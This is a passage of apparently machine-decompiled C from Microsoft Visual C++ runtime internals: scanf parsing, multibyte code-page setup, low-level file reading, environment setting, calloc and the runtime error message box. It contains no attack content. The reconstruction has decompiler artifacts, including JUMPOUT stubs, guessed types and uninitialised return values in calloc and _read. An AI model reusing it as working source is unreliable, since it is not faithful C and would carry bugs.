_ungetc_lk(v4, fileptr); v3 = (int)v67; do { ++v3; v47 = *(_BYTE *)v3; } while ( isspace(v47) ); v67 = (const char *)v3; } v5 = v67; if ( *v67 != 37 ) { ++charcount; v38 = inc(fileptr); c = v38; v39 = (unsigned __int8)*v5; v3 = (int)(v5 + 1); v67 = (const char *)v3; if ( v39 == v38 ) { if ( !(HIBYTE(_pctype[(unsigned __int8)v38]) & 0x80) ) goto LABEL_272; ++charcount; v40 = inc(fileptr); v41 = *(_BYTE *)v3++; v67 = (const char *)v3; if ( v41 == v40 ) { --charcount; goto LABEL_272; } if ( v40 != -1 ) _ungetc_lk(v40, fileptr); } v28 = v38 == -1; goto LABEL_269; } v6 = 0; number = 0; prevchar = 0; started = 0; widthset = 0; width = 0; reject = 0; negative = 0; suppress = 0; done_flag = 0; fl_wchar_arg = 0; widechar = 0; longone = 1; integer64 = 0; do { ++v5; v7 = (unsigned __int8)*v5; v47 = (unsigned __int8)*v5; if ( isdigit(v47) ) { ++widthset; v6 = v7 + 10 * v6 - 48; continue; } if ( v7 > 78 ) { if ( v7 == 104 ) { --longone; --widechar; } else { if ( v7 == 108 ) { ++longone; } else { if ( v7 != 119 ) goto DEFAULT_LABEL; } ++widechar; } } else { if ( v7 == 78 ) continue; if ( v7 == 42 ) { ++suppress; continue; } if ( v7 == 70 ) continue; if ( v7 != 73 ) { if ( v7 == 76 ) { ++longone; continue; } DEFAULT_LABEL: ++done_flag; continue; } v8 = v5[1]; if ( v8 == 54 && v5[2] == 52 ) { v5 += 2; ++integer64; num64 = 0i64; continue; } if ( v8 == 51 && v5[2] == 50 ) { v5 += 2; continue; } if ( v8 != 100 && v8 != 105 && v8 != 111 && v8 != 120 && v8 != 88 ) goto DEFAULT_LABEL; } } while ( !done_flag ); width = v6; v67 = v5; if ( suppress ) { v9 = pointer; } else { arglistsave = v53; v53 = (char *)v53 + 4; v9 = (void *)*((_DWORD *)v53 - 1); pointer = (void *)*((_DWORD *)v53 - 1); } done_flag = 0; if ( !widechar ) { v10 = *v5; if ( *v5 == 83 || (widechar = -1, v10 == 67) ) widechar = 1; } v11 = (unsigned __int8)*v5 | 0x20; comchr = v11; if ( v11 != 110 ) { if ( v11 == 99 || v11 == 123 ) { ++charcount; c = inc(fileptr); } else { do { ++charcount; v12 = inc(fileptr); } while ( isspace(v12) ); c = v12; v11 = comchr; } } if ( widthset && !width ) goto LABEL_138; if ( v11 > 111 ) { if ( v11 == 112 ) { longone = 1; } else { if ( v11 == 115 ) { LABEL_112: if ( widechar > 0 ) fl_wchar_arg = 1; scanit: v25 = v9; --charcount; if ( c != -1 ) _ungetc_lk(c, fileptr); while ( 1 ) { if ( widthset ) { v26 = width--; if ( !v26 ) break; } ++charcount; v27 = inc(fileptr); c = v27; if ( v27 == -1 ) goto LABEL_189; if ( v11 != 99 && (v11 != 115 || v27 >= 9 && v27 <= 13 || v27 == 32) ) { if ( v11 != 123 || !((1 << (v27 & 7)) & (reject ^ *((_BYTE *)table + (v27 >> 3)))) ) { LABEL_189: --charcount; if ( v27 != -1 ) _ungetc_lk(v27, fileptr); break; } v11 = comchr; } if ( suppress ) { v25 = (char *)v25 + 1; } else { if ( fl_wchar_arg ) { temp = v27; if ( HIBYTE(_pctype[(unsigned __int8)v27]) & 0x80 ) { ++charcount; v56 = inc(fileptr); } mbtowc(&wctemp, &temp, __mb_cur_max); *(_WORD *)v9 = wctemp; v9 = (char *)v9 + 2; } else { *(_BYTE *)v9 = v27; v9 = (char *)v9 + 1; } pointer = v9; } } if ( v25 == v9 ) goto error_return_0; if ( !suppress ) { ++count; if ( comchr != 99 ) { v5 = v67; if ( fl_wchar_arg ) *(_WORD *)pointer = 0; else *(_BYTE *)pointer = 0; goto LABEL_109; } } LABEL_108: v5 = v67; goto LABEL_109; } if ( v11 != 117 ) { if ( v11 == 120 ) { LABEL_70: v14 = c; if ( c == 45 ) { negative = 1; } else { if ( c != 43 ) { LABEL_170: if ( v14 != 48 ) { getnum: if ( integer64 ) { if ( !done_flag ) { while ( v11 != 120 && v11 != 112 ) { if ( !isdigit(v14) ) goto LABEL_218; if ( v11 == 111 ) { if ( v14 >= 56 ) goto LABEL_218; num64 *= 8i64; } else { v46 = 10i64; v44 = num64; num64 *= 10i64; } LABEL_219: if ( done_flag ) { --charcount; if ( v14 != -1 ) _ungetc_lk(v14, fileptr); } else { ++started; num64 += v14 - 48; if ( !widthset || (--width, width) ) { ++charcount; v14 = inc(fileptr); } else { done_flag = 1; } } if ( done_flag ) { c = v14; goto LABEL_228; } } if ( isxdigit(v14) ) { num64 *= 16i64; if ( !isdigit(v14) ) v14 = (v14 & 0xFFFFFFDF) - 7; goto LABEL_219; } LABEL_218: ++done_flag; goto LABEL_219; } LABEL_228: if ( negative ) num64 = -num64; goto LABEL_253; } if ( done_flag ) { LABEL_251: if ( negative ) number = -number; LABEL_253: if ( v11 == 70 ) started = 0; if ( !started ) goto error_return_0; if ( !suppress ) { ++count; v9 = pointer; v5 = v67; v13 = number; goto assign_num; } goto LABEL_108; } while ( v11 != 120 && v11 != 112 ) { if ( !isdigit(v14) ) goto LABEL_241; if ( v11 == 111 ) { if ( v14 >= 56 ) goto LABEL_241; number *= 8; } else { number *= 10; } LABEL_242: if ( done_flag ) { --charcount; if ( v14 != -1 ) _ungetc_lk(v14, fileptr); } else { ++started; number = number + v14 - 48; if ( !widthset || (--width, width) ) { ++charcount; v14 = inc(fileptr); } else { done_flag = 1; } } if ( done_flag ) { c = v14; goto LABEL_251; } } if ( isxdigit(v14) ) { number *= 16; if ( !isdigit(v14) ) v14 = (v14 & 0xFFFFFFDF) - 7; goto LABEL_242; } LABEL_241: ++done_flag; goto LABEL_242; } ++charcount; v37 = inc(fileptr); v14 = v37; c = v37; if ( (_BYTE)v37 == 120 || (_BYTE)v37 == 88 ) { ++charcount; v14 = inc(fileptr); c = v14; if ( widthset ) { width -= 2; if ( width < 1 ) ++done_flag; } v47 = 120; goto LABEL_178; } started = 1; if ( v11 != 120 ) { if ( widthset ) { --width; if ( !width ) ++done_flag; } v47 = 111; LABEL_178: v11 = v47; goto getnum; } --charcount; if ( v37 != -1 ) _ungetc_lk(v37, fileptr); v14 = 48; LABEL_205: c = v14; goto getnum; } } --width; if ( width || !widthset ) { ++charcount; v14 = inc(fileptr); c = v14; } else { done_flag = 1; } goto LABEL_170; } if ( v11 == 123 ) { if ( widechar > 0 ) fl_wchar_arg = 1; v29 = (int)(v67 + 1); v67 = (const char *)v29; scanptr = v29; if ( *(_BYTE *)v29 == 94 ) { ++v29; scanptr = v29; reject = -1; } v30 = table; if ( !table ) { v31 = alloca(32); ms_exc.old_esp = (DWORD)&v43; v30 = &v43; table = &v43; ms_exc.disabled = -1; } memset(v30, 0, 0x20u); if ( comchr == 123 && *(_BYTE *)v29 == 93 ) { v32 = 93; ++v29; *((_BYTE *)v30 + 11) = 32; goto LABEL_162; } LABEL_161: v32 = prevchar; LABEL_162: while ( 1 ) { v36 = *(_BYTE *)v29; if ( *(_BYTE *)v29 == 93 ) break; ++v29; if ( v36 != 45 || !v32 || (v33 = *(_BYTE *)v29, *(_BYTE *)v29 == 93) ) { prevchar = v36; *((_BYTE *)v30 + ((unsigned int)(unsigned __int8)v36 >> 3)) |= 1 << (v36 & 7); goto LABEL_161; } ++v29; if ( v32 >= v33 ) { v34 = v32; v32 = v33; } else { v34 = v33; } if ( v32 <= (unsigned __int8)v34 ) { v35 = (unsigned __int8)v32; v51 = (unsigned __int8)(v34 - v32 + 1); do { *((_BYTE *)v30 + (v35 >> 3)) |= 1 << (v35 & 7); ++v35; --v51; } while ( v51 ); } v32 = 0; } v11 = comchr; v9 = pointer; if ( comchr == 123 ) v67 = (const char *)v29; goto scanit; } LABEL_137: if ( *v5 == c ) { --match; if ( !suppress ) v53 = arglistsave; goto LABEL_109; } LABEL_138: v28 = c == -1; LABEL_269: if ( !v28 ) _ungetc_lk(c, fileptr); goto error_return_0; } } LABEL_198: v14 = c; if ( c == 45 ) { negative = 1; } else { if ( c != 43 ) goto getnum; } --width; if ( !width && widthset ) { done_flag = 1; goto getnum; } ++charcount; v14 = inc(fileptr); goto LABEL_205; } if ( v11 == 111 ) goto LABEL_198; if ( v11 == 99 ) { if ( !widthset ) { widthset = 1; ++width; } goto LABEL_112; } if ( v11 == 100 ) goto LABEL_198; if ( v11 <= 100 ) goto LABEL_137; if ( v11 > 103 ) { if ( v11 == 105 ) { v11 = 100; goto LABEL_70; } if ( v11 != 110 ) goto LABEL_137; v13 = charcount; if ( suppress ) goto LABEL_109; assign_num: if ( integer64 ) { *(_QWORD *)v9 = num64; } else { if ( longone ) *(_DWORD *)v9 = v13; else *(_WORD *)v9 = v13; } LABEL_109: ++match; v3 = (int)(v5 + 1); v67 = (const char *)v3; LABEL_272: if ( c == -1 ) { if ( *(_BYTE *)v3 != 37 || v67[1] != 110 ) goto error_return_0; v3 = (int)v67; } goto LABEL_3; } v15 = &floatstring; v16 = c; if ( c == 45 ) { floatstring = c; v15 = &v80; goto f_incwidth; } if ( c == 43 ) { f_incwidth: --width; ++charcount; v17 = fileptr; v16 = inc(fileptr); c = v16; } else { v17 = fileptr; } if ( !widthset || width > 349 ) width = 349; while ( isdigit(v16) ) { v18 = width--; if ( !v18 ) break; ++started; *v15++ = v16; ++charcount; v16 = inc(v17); c = v16; } if ( __decimal_point == (_BYTE)v16 ) { v19 = width--; if ( v19 ) { ++charcount; v16 = inc(v17); *v15++ = __decimal_point; while ( 1 ) { c = v16; if ( !isdigit(v16) ) break; v20 = width--; if ( !v20 ) break; ++started; *v15++ = v16; ++charcount; v16 = inc(v17); } } } if ( started && (v16 == 101 || v16 == 69) ) { v21 = width--; if ( v21 ) { *v15++ = 101; ++charcount; v22 = inc(v17); v16 = v22; c = v22; if ( v22 == 45 ) { *v15++ = 45; goto f_incwidth2; } if ( v22 == 43 ) { f_incwidth2: v23 = width--; if ( !v23 ) { width = 0; goto LABEL_101; } goto LABEL_100; } LABEL_101: while ( isdigit(v16) ) { v24 = width--; if ( !v24 ) break; ++started; *v15++ = v16; LABEL_100: ++charcount; v16 = inc(v17); c = v16; } } } --charcount; if ( v16 != -1 ) _ungetc_lk(v16, v17); if ( started ) { if ( !suppress ) { ++count; *v15 = 0; v45 = longone - 1; off_6B7958(v45, pointer, &floatstring); JUMPOUT(*(int *)loc_608171); } goto LABEL_108; } error_return_0: if ( malloc_flag == 1 ) free(table); result = count; if ( c == -1 && !count && !match ) result = -1; return result; } // 608171: using guessed type int __cdecl(int stream, int format, int arglist); // 6B7958: using guessed type int (__cdecl *off_6B7958)(_DWORD, _DWORD, _DWORD); //----- (00608A7D) -------------------------------------------------------- unsigned int __cdecl setSBUpLow() { unsigned int v0; // eax@2 int v1; // eax@4 int v2; // edx@5 unsigned int v3; // ecx@6 unsigned int v4; // ecx@7 char v5; // bl@7 char *v6; // edi@7 int i; // ecx@7 int v8; // edx@10 unsigned int result; // eax@11 __int16 v10; // cx@12 unsigned __int8 v11; // cl@13 unsigned __int8 v12; // cl@23 struct _cpinfo cpinfo; // [sp+4h] [bp-80h]@1 __int16 wVector[256]; // [sp+18h] [bp-6Ch]@1 char upVector[256]; // [sp+218h] [bp+194h]@11 char lowVector[256]; // [sp+318h] [bp+294h]@11 char sbVector[256]; // [sp+418h] [bp+394h]@3 unsigned int v18; // [sp+518h] [bp+494h]@1 v18 = (unsigned int)&wVector[54] ^ __security_cookie; if ( GetCPInfo(__mbcodepage, &cpinfo) == 1 ) { v0 = 0; do { sbVector[v0] = v0; ++v0; } while ( v0 < 0x100 ); LOBYTE(v1) = cpinfo.LeadByte[0]; sbVector[0] = 32; if ( cpinfo.LeadByte[0] ) { v2 = (int)&cpinfo.LeadByte[1]; do { v3 = *(_BYTE *)v2; v1 = (unsigned __int8)v1; if ( (unsigned __int8)v1 <= v3 ) { v4 = v3 - v1 + 1; v5 = v4; v4 >>= 2; memset(&sbVector[v1], 538976288, 4 * v4); v6 = &sbVector[4 * v4] + v1; for ( i = v5 & 3; i; --i ) *v6++ = 32; } v8 = v2 + 1; LOBYTE(v1) = *(_BYTE *)v8; v2 = v8 + 1; } while ( (_BYTE)v1 ); } __crtGetStringTypeA(1u, sbVector, 256, (unsigned __int16 *)wVector, __mbcodepage, __mblcid, 0); __crtLCMapStringA(__mblcid, 0x100u, sbVector, 256, lowVector, 256, __mbcodepage, 0); __crtLCMapStringA(__mblcid, 0x200u, sbVector, 256, upVector, 256, __mbcodepage, 0); result = 0; while ( 1 ) { v10 = wVector[result]; if ( v10 & 1 ) { byte_1535FC61[result] |= 0x10u; v11 = lowVector[result]; } else { if ( !(v10 & 2) ) { _mbcasemap[result] = 0; goto LABEL_18; } byte_1535FC61[result] |= 0x20u; v11 = upVector[result]; } _mbcasemap[result] = v11; LABEL_18: ++result; if ( result >= 0x100 ) return result; } } result = 0; do { if ( result >= 0x41 && result <= 0x5A ) { byte_1535FC61[result] |= 0x10u; v12 = result + 32; LABEL_24: _mbcasemap[result] = v12; goto LABEL_29; } if ( result >= 0x61 && result <= 0x7A ) { byte_1535FC61[result] |= 0x20u; v12 = result - 32; goto LABEL_24; } _mbcasemap[result] = 0; LABEL_29: ++result; } while ( result < 0x100 ); return result; } //----- (00608C87) -------------------------------------------------------- int __cdecl setmbcp_lk(int codepage) { int v1; // edx@2 unsigned int v2; // eax@2 bool v3; // cf@6 bool v4; // zf@6 char *v5; // ecx@8 unsigned int v6; // edx@9 unsigned int v7; // eax@10 char *v8; // ebx@11 unsigned int v9; // eax@12 char *i; // esi@12 char v11; // dl@13 unsigned int v12; // edi@14 char v13; // dl@15 int v14; // eax@20 int v15; // ecx@20 char *v16; // ecx@20 signed int v17; // eax@24 int v18; // ecx@26 int result; // eax@31 unsigned int irg; // [sp+Ch] [bp-1Ch]@11 struct _cpinfo cpinfo; // [sp+10h] [bp-18h]@5 unsigned int v22; // [sp+24h] [bp-4h]@1 int v23; // [sp+28h] [bp+0h]@1 v22 = (unsigned int)&v23 ^ __security_cookie; if ( codepage ) { v1 = 0; v2 = 0; do { if ( _rgcode_page_info[v2].code_page == codepage ) { memset(_mbctype, 0, 0x100u); irg = 0; _mbctype[256] = 0; v8 = (char *)&unk_6B7AA8 + 48 * v1; do { LOBYTE(v9) = *v8; for ( i = v8; (_BYTE)v9; LOBYTE(v9) = *i ) { v11 = i[1]; if ( !v11 ) break; v9 = (unsigned __int8)v9; v12 = (unsigned __int8)v11; if ( (unsigned __int8)v9 <= (unsigned int)(unsigned __int8)v11 ) { v13 = _rgctypeflag[irg]; do { byte_1535FC61[v9] |= v13; ++v9; } while ( v9 <= v12 ); } i += 2; } ++irg; v8 += 8; } while ( irg < 4 ); __mbcodepage = codepage; __ismbcodepage = 1; v14 = CPtoLCID(codepage); v16 = (char *)&unk_6B7A9C + v15; *(_DWORD *)&__mbulinfo = *(_DWORD *)v16; *((_DWORD *)&__mbulinfo + 1) = *((_DWORD *)v16 + 1); __mblcid = v14; *((_DWORD *)&__mbulinfo + 2) = *((_DWORD *)v16 + 2); goto LABEL_31; } ++v2; ++v1; } while ( v2 < 5 ); if ( GetCPInfo(codepage, &cpinfo) == 1 ) { v3 = cpinfo.MaxCharSize < 1; v4 = cpinfo.MaxCharSize == 1; memset(_mbctype, 0, 0x100u); _mbctype[256] = 0; __mbcodepage = codepage; __mblcid = 0; if ( v3 | v4 ) { __ismbcodepage = 0; } else { if ( cpinfo.LeadByte[0] ) { v5 = &cpinfo.LeadByte[1]; do { LOBYTE(v6) = *v5; if ( !*v5 ) break; v7 = (unsigned __int8)*(v5 - 1); v6 = (unsigned __int8)v6; while ( v7 <= v6 ) { byte_1535FC61[v7] |= 4u; ++v7; } v5 += 2; } while ( *(v5 - 1) ); } v17 = 1; do { byte_1535FC61[v17] |= 8u; ++v17; } while ( (unsigned int)v17 < 0xFF ); __mblcid = CPtoLCID(codepage); __ismbcodepage = v18; } *(_DWORD *)&__mbulinfo = 0; *((_DWORD *)&__mbulinfo + 1) = 0; *((_DWORD *)&__mbulinfo + 2) = 0; goto LABEL_31; } if ( fSystemSet ) goto LABEL_30; result = -1; } else { LABEL_30: setSBCS(); LABEL_31: setSBUpLow(); result = 0; } return result; } // 608A54: using guessed type int setSBCS(void); // 1535FC54: using guessed type int __ismbcodepage; // 1535FD70: using guessed type __int16 __mbulinfo; //----- (0060906A) -------------------------------------------------------- int __cdecl _read_lk(int fh, void *buf, unsigned int cnt) { void *v3; // ebx@1 char *v4; // edx@1 int v5; // esi@2 int v6; // eax@2 char v7; // cl@2 int v8; // eax@5 unsigned int v9; // eax@7 int v11; // ecx@12 char *v12; // ecx@17 bool v13; // cf@17 char v14; // al@18 char v15; // al@29 DWORD os_read; // [sp+Ch] [bp-Ch]@6 int bytes_read; // [sp+10h] [bp-8h]@1 char peekchr; // [sp+17h] [bp-1h]@25 unsigned int p; // [sp+28h] [bp+10h]@17 bytes_read = 0; v3 = buf; v4 = (char *)buf; if ( cnt ) { v5 = 36 * (fh & 0x1F); v6 = v5 + __pioinfo[fh >> 5]; v7 = *(_BYTE *)(v6 + 4); if ( !(v7 & 2) ) { if ( v7 & 0x48 && *(_BYTE *)(v6 + 5) != 10 ) { --cnt; *(_BYTE *)buf = *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 5); v8 = __pioinfo[fh >> 5]; v4 = (char *)buf + 1; bytes_read = 1; *(_BYTE *)(v8 + v5 + 5) = 10; } if ( !ReadFile(*(HANDLE *)(__pioinfo[fh >> 5] + v5), v4, cnt, &os_read, 0) ) { v9 = GetLastError(); if ( v9 == 5 ) { *_errno() = 9; *__doserrno() = 5; return -1; } if ( v9 != 109 ) { _dosmaperr(v9); return -1; } return 0; } v11 = __pioinfo[fh >> 5]; bytes_read += os_read; if ( *(_BYTE *)(v11 + v5 + 4) & 0x80 ) { if ( os_read && *(_BYTE *)buf == 10 ) *(_BYTE *)(v11 + v5 + 4) |= 4u; else *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) &= 0xFBu; v12 = (char *)buf + bytes_read; v13 = buf < (char *)buf + bytes_read; p = (unsigned int)buf; bytes_read += (int)buf; if ( v13 ) { do { v14 = *(_BYTE *)p; if ( *(_BYTE *)p == 26 ) { if ( !(*(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) & 0x40) ) *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) |= 2u; break; } if ( v14 == 13 ) { if ( p < (unsigned int)(v12 - 1) ) { if ( *(_BYTE *)(p + 1) != 10 ) { ++p; LABEL_35: *(_BYTE *)v3 = 13; LABEL_36: v3 = (char *)v3 + 1; goto LABEL_37; } p += 2; goto LABEL_33; } ++p; if ( !ReadFile(*(HANDLE *)(__pioinfo[fh >> 5] + v5), &peekchr, 1u, &os_read, 0) && GetLastError() || !os_read ) goto LABEL_35; if ( *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) & 0x48 ) { v15 = peekchr; if ( peekchr != 10 ) { *(_BYTE *)v3 = 13; *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 5) = v15; goto LABEL_36; } LABEL_33: *(_BYTE *)v3 = 10; goto LABEL_36; } if ( v3 == buf && peekchr == 10 ) goto LABEL_33; _lseeki64_lk(fh, -1i64, 1); if ( peekchr != 10 ) goto LABEL_35; } else { *(_BYTE *)v3 = v14; v3 = (char *)v3 + 1; ++p; } LABEL_37: v12 = (char *)bytes_read; } while ( p < bytes_read ); } bytes_read = v3 - buf; } return bytes_read; } } return 0; } // 1535FB20: using guessed type int __pioinfo[]; //----- (00609247) -------------------------------------------------------- int __cdecl _read(int fh, void *buf, unsigned int cnt) { int v3; // esi@2 int result; // eax@6 if ( fh < _nhandle && (v3 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1 ) { _read_lk(fh, buf, cnt); } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 1535FB20: using guessed type int __pioinfo[]; //----- (006092F2) -------------------------------------------------------- void __cdecl _RTC_Initialize() { unsigned int f; // [sp+Ch] [bp-1Ch]@1 for ( f = (unsigned int)&__rtc_izz; f < (unsigned int)&__rtc_izz; f += 4 ) { if ( *(_DWORD *)f ) (*(void (**)(void))f)(); } } //----- (00609336) -------------------------------------------------------- void __cdecl _RTC_Terminate() { unsigned int f; // [sp+Ch] [bp-1Ch]@1 for ( f = (unsigned int)&__rtc_tzz; f < (unsigned int)&__rtc_tzz; f += 4 ) { if ( *(_DWORD *)f ) (*(void (**)(void))f)(); } } //----- (0060A274) -------------------------------------------------------- int __cdecl __sse2_available_init() { int v0; // ebx@0 int v15; // eax@5 char cpu_feature_3; // [sp+Fh] [bp-19h]@1 signed int Signature; // [sp+10h] [bp-18h]@1 $DA5ED6CC296E808AF941371A2ECDEDDF Ident; // [sp+14h] [bp-14h]@1 unsigned int v20; // [sp+24h] [bp-4h]@1 int v21; // [sp+28h] [bp+0h]@1 v20 = (unsigned int)&v21 ^ __security_cookie; _CF = 0; _OF = 0; _ZF = 1; _SF = 0; cpu_feature_3 = 0; Signature = 0; Ident.cBuf[0] = 0; __asm { pushf } if ( (v0 ^ 0x200000) != v0 ) { __asm { popf } _EAX = 0; __asm { cpuid } *(_DWORD *)&Ident.cBuf[0] = _EBX; *(_QWORD *)&Ident.cBuf[4] = __PAIR__(_ECX, _EDX); _EAX = 1; __asm { cpuid } cpu_feature_3 = BYTE3(_EDX); Signature = _EAX; } __sse2_available = 0; __use_sse2_mathfcns = 0; if ( cpu_feature_3 & 4 ) { if ( has_osfxsr_set() ) { __sse2_available = 1; strncmp("AuthenticAMD", Ident.cBuf, 0xCu); if ( v15 || ((Signature >> 8) & 0xF) + (((Signature >> 8) & 0xF) == 15 ? (Signature >> 20) & 0xFF : 0) != 15 ) __use_sse2_mathfcns = 1; } } return 0; } // 1535FC20: using guessed type int __use_sse2_mathfcns; // 1535FC24: using guessed type int __sse2_available; //----- (0060AEA0) -------------------------------------------------------- int __usercall ___00001(__int16 a1, int a2, double a3, long double a4) { double v4; // qt0@2 long double v5; // st6@2 long double v6; // st7@2 double v7; // st7@3 double v9; // st6@7 int v10; // eax@7 double v11; // qt1@8 long double v12; // st6@8 *(_BYTE *)(a2 - 144) = -2; if ( HIBYTE(a1) ) { v9 = isintTOS(a4); if ( !v10 ) return _rtindfpop(); v11 = v9; v12 = a4; v6 = v11; v5 = fabs(v12); } else { v4 = a3; v5 = a4; v6 = v4; } v7 = __FYL2X__(v5, v6); _ffexpm1(); if ( *(_BYTE *)(a2 - 159) & 1 ) { if ( _adjust_fdiv == 1 ) _safe_fdivr(v7); } return _rttospop(); } // 60AFFE: using guessed type int _ffexpm1(void); // 60B1A8: using guessed type int _rttospop(void); // 60B256: using guessed type int _rtindfpop(void); // 60E341: using guessed type int __usercall _safe_fdivr(double); // 1535F520: using guessed type int _adjust_fdiv; //----- (0060B041) -------------------------------------------------------- double __usercall isintTOS(double result) { _ST6 = result; __asm { frndint } if ( _ST6 == result ) { _ST5 = result * *(double *)½ __asm { frndint } } return result; } //----- (0060BE86) -------------------------------------------------------- int __cdecl __crtsetenv(char **poption, const int primary) { char *v3; // esi@3 char *v4; // eax@4 bool v5; // zf@6 void *v6; // eax@6 void *v7; // eax@16 void *v8; // eax@18 LPVOID v9; // ebx@20 int v10; // eax@20 int v11; // edi@20 int v12; // esi@22 void *v13; // eax@26 int v14; // ecx@32 size_t v15; // eax@35 void *v16; // eax@35 const char *v17; // edi@35 int v18; // eax@36 int retval; // [sp+8h] [bp-10h]@1 char *equal; // [sp+Ch] [bp-Ch]@4 char *option; // [sp+10h] [bp-8h]@3 int remove; // [sp+14h] [bp-4h]@6 retval = 0; if ( !poption ) return -1; v3 = *poption; option = *poption; if ( !*poption || (v4 = _mbschr(v3, 0x3Du), (equal = v4) == 0) || v3 == v4 ) return -1; v5 = v4[1] == 0; v6 = _environ; remove = v5; if ( _environ == (LPVOID)__initenv ) { v6 = copy_environ_0((char **)_environ); _environ = v6; } if ( !v6 ) { if ( primary && _wenviron ) { if ( __wtomb_environ() ) return -1; } else { if ( remove ) return 0; v7 = malloc(4u); _environ = v7; if ( !v7 ) return -1; *(_DWORD *)v7 = 0; if ( !_wenviron ) { v8 = malloc(4u); _wenviron = v8; if ( !v8 ) return -1; *(_DWORD *)v8 = 0; } } } v9 = _environ; v10 = findenv(v3, equal - v3); v11 = v10; if ( v10 < 0 || !*(_DWORD *)v9 ) { if ( !remove ) { if ( v10 < 0 ) v11 = -v10; v13 = realloc(_environ, 4 * v11 + 8); if ( !v13 ) return -1; v14 = (int)((char *)v13 + 4 * v11); *(_DWORD *)(v14 + 4) = 0; *(_DWORD *)v14 = v3; *poption = 0; goto LABEL_33; } free(v3); *poption = 0; return 0; } v12 = (int)((char *)v9 + 4 * v10); free(*(void **)v12); if ( !remove ) { *(_DWORD *)v12 = option; v3 = option; *poption = 0; goto LABEL_34; } while ( *(_DWORD *)v12 ) { ++v11; *(_DWORD *)v12 = *(_DWORD *)(v12 + 4); v12 = (int)((char *)v9 + 4 * v11); } v13 = realloc(_environ, 4 * v11); v3 = option; if ( !v13 ) goto LABEL_34; LABEL_33: _environ = v13; LABEL_34: if ( primary ) { v15 = strlen(v3); v16 = malloc(v15 + 2); v17 = (const char *)v16; if ( v16 ) { strcpy((char *)v16, v3); v18 = (int)&equal[v17 - v3]; *(_BYTE *)v18 = 0; if ( !SetEnvironmentVariableA(v17, (LPCSTR)(remove == 0 ? v18 + 1 : 0)) ) retval = -1; free((void *)v17); } } if ( remove ) free(v3); return retval; } // 1535F550: using guessed type int __initenv; //----- (0060C2A2) -------------------------------------------------------- _flt *__cdecl _fltin2(_flt *flt, const char *str, int len_ignore, int scale_ignore, int radix_ignore) { int v5; // ebx@1 INTRNCVT_STATUS v6; // eax@3 char *EndPtr; // [sp+Ch] [bp-24h]@1 const char *v9; // [sp+10h] [bp-20h]@1 long double x; // [sp+14h] [bp-1Ch]@2 unsigned int flags; // [sp+1Ch] [bp-14h]@1 _LDBL12 ld12; // [sp+20h] [bp-10h]@1 unsigned int v13; // [sp+2Ch] [bp-4h]@1 int v14; // [sp+30h] [bp+0h]@1 v13 = (unsigned int)&v14 ^ __security_cookie; v9 = str; v5 = 0; flags = __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); if ( flags & 4 ) { v5 = 512; *(_QWORD *)&x = 0i64; } else { v6 = _ld12tod(&ld12, (DOUBLE *)&x); if ( flags & 2 || v6 == 1 ) v5 = 128; if ( flags & 1 || v6 == 2 ) v5 |= 0x100u; } flt->nbytes = EndPtr - v9; flt->dval = x; flt->flags = v5; return flt; } //----- (0060C541) -------------------------------------------------------- void *__cdecl calloc(unsigned int num, unsigned int size) { void *result; // eax@3 int v3; // esi@4 void *v4; // edi@6 int size_orig; // [sp+Ch] [bp-20h]@4 if ( num && 0xFFFFFFE0 / num < size ) { LABEL_3: result = 0; } else { v3 = size * num; size_orig = size * num; if ( !(size * num) ) v3 = 1; while ( 1 ) { v4 = 0; if ( (unsigned int)v3 <= 0xFFFFFFE0 ) { if ( __active_heap == 3 ) { v3 = (v3 + 15) & 0xFFFFFFF0; if ( size_orig <= (unsigned int)__sbh_threshold ) { _lock(4); __sbh_alloc_block(size_orig); _unlock(4); return result; } } v4 = HeapAlloc(_crtheap, 8u, v3); } if ( v4 || !_newmode ) break; if ( !_callnewh(v3) ) goto LABEL_3; } result = v4; } return result; } // 1535FC34: using guessed type int __sbh_threshold; // 1535FC48: using guessed type int __active_heap; //----- (0060C85A) -------------------------------------------------------- void __cdecl _NMSG_WRITE(int rterrnum) { unsigned int v1; // eax@1 int v2; // esi@4 char *v3; // edi@11 size_t v4; // eax@13 void *v5; // esp@13 const char **v6; // esi@14 HANDLE v7; // eax@14 const char *v8; // [sp-2Ch] [bp-B8h]@13 _BYTE v9[3]; // [sp-2Bh] [bp-B7h]@12 const char *v10; // [sp-1Ch] [bp-A8h]@13 const void *v11; // [sp-10h] [bp-9Ch]@14 DWORD v12; // [sp-Ch] [bp-98h]@14 DWORD *v13; // [sp-8h] [bp-94h]@13 int v14; // [sp-4h] [bp-90h]@14 int v15; // [sp+0h] [bp-8Ch]@13 DWORD bytes_written; // [sp+Ch] [bp-80h]@14 CHAR progname; // [sp+10h] [bp-7Ch]@9 int v18; // [sp+8Ch] [bp+0h]@1 char v19; // [sp+114h] [bp+88h]@9 unsigned int v20; // [sp+118h] [bp+8Ch]@1 v20 = (unsigned int)&v18 ^ __security_cookie; v1 = 0; do { if ( rterrnum == rterrs[v1].rterrno ) break; ++v1; } while ( v1 < 0x13 ); v2 = 8 * v1; if ( rterrnum == rterrs[v1].rterrno ) { if ( __error_mode != 1 && (__error_mode || __app_type != 1) ) { if ( rterrnum != 252 ) { v19 = 0; if ( !GetModuleFileNameA(0, &progname, 0x104u) ) strcpy(&progname, ""); v3 = &progname; if ( strlen(&progname) + 1 > 0x3C ) { v3 = &v9[strlen(&progname)]; strncpy(v3, "...", 3u); } v4 = strlen(v3); v13 = *(DWORD **)((char *)&unk_6B7D04 + v2); v5 = alloca(v4 + strlen((const char *)v13) + 28); strcpy((char *)&v15, "Runtime Error!\n\nProgram: "); strcat((char *)&v15, v3); strcat((char *)&v15, "\n\n"); v10 = *(const char **)((char *)&unk_6B7D04 + v2); strcat((char *)&v15, v10); v8 = (const char *)&v15; __crtMessageBoxA(v8, "Microsoft Visual C++ Runtime Library", 0x12010u); } } else { v14 = 0; v13 = &bytes_written; v6 = (const char **)((char *)&unk_6B7D04 + v2); 